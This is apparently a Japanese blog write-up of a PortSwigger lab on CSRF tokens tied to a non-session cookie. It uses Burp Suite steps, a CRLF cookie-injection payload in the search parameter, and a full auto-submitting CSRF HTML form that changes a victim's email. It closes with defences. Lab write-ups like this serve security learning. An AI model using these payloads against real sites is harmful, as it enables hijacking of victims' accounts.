Shikata Ga Nai

Private? There is no such things.

LAB: CSRFトークンが非セッションクッキーに紐づく場合の脆弱性

Hello there, ('ω')ノ

🔍 概要

このラボでは、CSRF(クロスサイトリクエストフォージェリ)トークンがセッションとは異なるクッキーに紐づいているため、CSRF攻撃が可能となる脆弱性を利用します。


🎯 目的

攻撃者が自分のCSRFトークンとそれに対応するクッキーを被害者のブラウザに設定し、CSRF攻撃を成功させることです。


🛠️ 手順

1. 攻撃者のCSRFトークンとクッキーの取得

  • Burp Suiteのブラウザでwiener:peterアカウントにログインします。
  • 「メールアドレスの更新」フォームを送信し、リクエストをBurpのProxyで確認します。
  • リクエストヘッダーからcsrfパラメータとcsrfKeyクッキーの値を取得します。

2. クッキーのインジェクションポイントの特定

  • ブラウザで任意の検索を行い、そのリクエストをBurpのProxyで確認します。
  • レスポンスヘッダーにSet-Cookieが含まれているか確認します。
  • 検索クエリに特殊文字(例:%0d%0aSet-Cookie: csrfKey=...)を含めることで、任意のクッキーを設定できるかテストします。

3. 攻撃用HTMLの作成

以下のHTMLを作成し、攻撃者のCSRFトークンとクッキーを使用して、被害者のメールアドレスを変更します。

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="attacker@evil-user.net" />
  <input type="hidden" name="csrf" value="攻撃者のCSRFトークン" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=攻撃者のCSRFKey%3b%20SameSite=None" onerror="document.forms[0].submit()">
  • YOUR-LAB-IDはラボのURLに置き換えてください。
  • attacker@evil-user.netは攻撃者のメールアドレスに置き換えてください。
  • 攻撃者のCSRFトークン攻撃者のCSRFKeyは手順1で取得した値に置き換えてください。

4. 攻撃の実行

  • 作成したHTMLをBurp SuiteのExploit Serverにアップロードします。
  • 「Store」をクリックして保存し、「Deliver to victim」をクリックして攻撃を実行します。

✅ 攻撃成功の確認

被害者が攻撃用HTMLを読み込むと、攻撃者のCSRFトークンとクッキーが設定され、メールアドレスが攻撃者のものに変更されます。


🧠 ポイント

  • CSRFトークンがセッションに紐づいていない場合、攻撃者のトークンを被害者に使用させることが可能です。
  • クッキーのインジェクションが可能なエンドポイントを特定することが重要です。
  • SameSite=None属性を使用することで、クロスサイトのクッキー送信が可能になります。

🛡️ 防御策

  • CSRFトークンはユーザーのセッションに紐づけ、他のユーザーのトークンを使用できないようにする。
  • クッキーのインジェクションを防ぐため、ユーザー入力を適切にサニタイズする。
  • SameSite属性を適切に設定し、クロスサイトのクッキー送信を制限する。

Best regards, (^^ゞ